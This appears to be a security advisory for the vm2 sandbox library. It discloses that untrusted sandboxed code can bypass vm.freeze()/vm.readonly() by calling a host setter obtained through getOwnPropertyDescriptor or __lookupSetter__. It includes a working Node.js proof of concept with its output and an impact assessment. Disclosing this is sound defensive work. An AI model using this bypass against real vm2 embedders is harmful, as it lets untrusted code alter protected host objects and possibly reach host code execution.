vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor

Summary

Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.

PoC

// poc.js
'use strict';
const { VM } = require('vm2');

let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
  get() { return _level; },
  set(v) { _level = String(v); },
  enumerable: true, configurable: true,
});

const vm = new VM();
vm.freeze(hostConfig, 'cfg');

// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level);   // → "safe"

// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
  const d = Object.getOwnPropertyDescriptor(cfg, 'level');
  d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level);   // → "PWNED"

// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level);   // → "PWNED-2"

node poc.js

Observed output:

after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2

The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().

Impact

A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.

Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).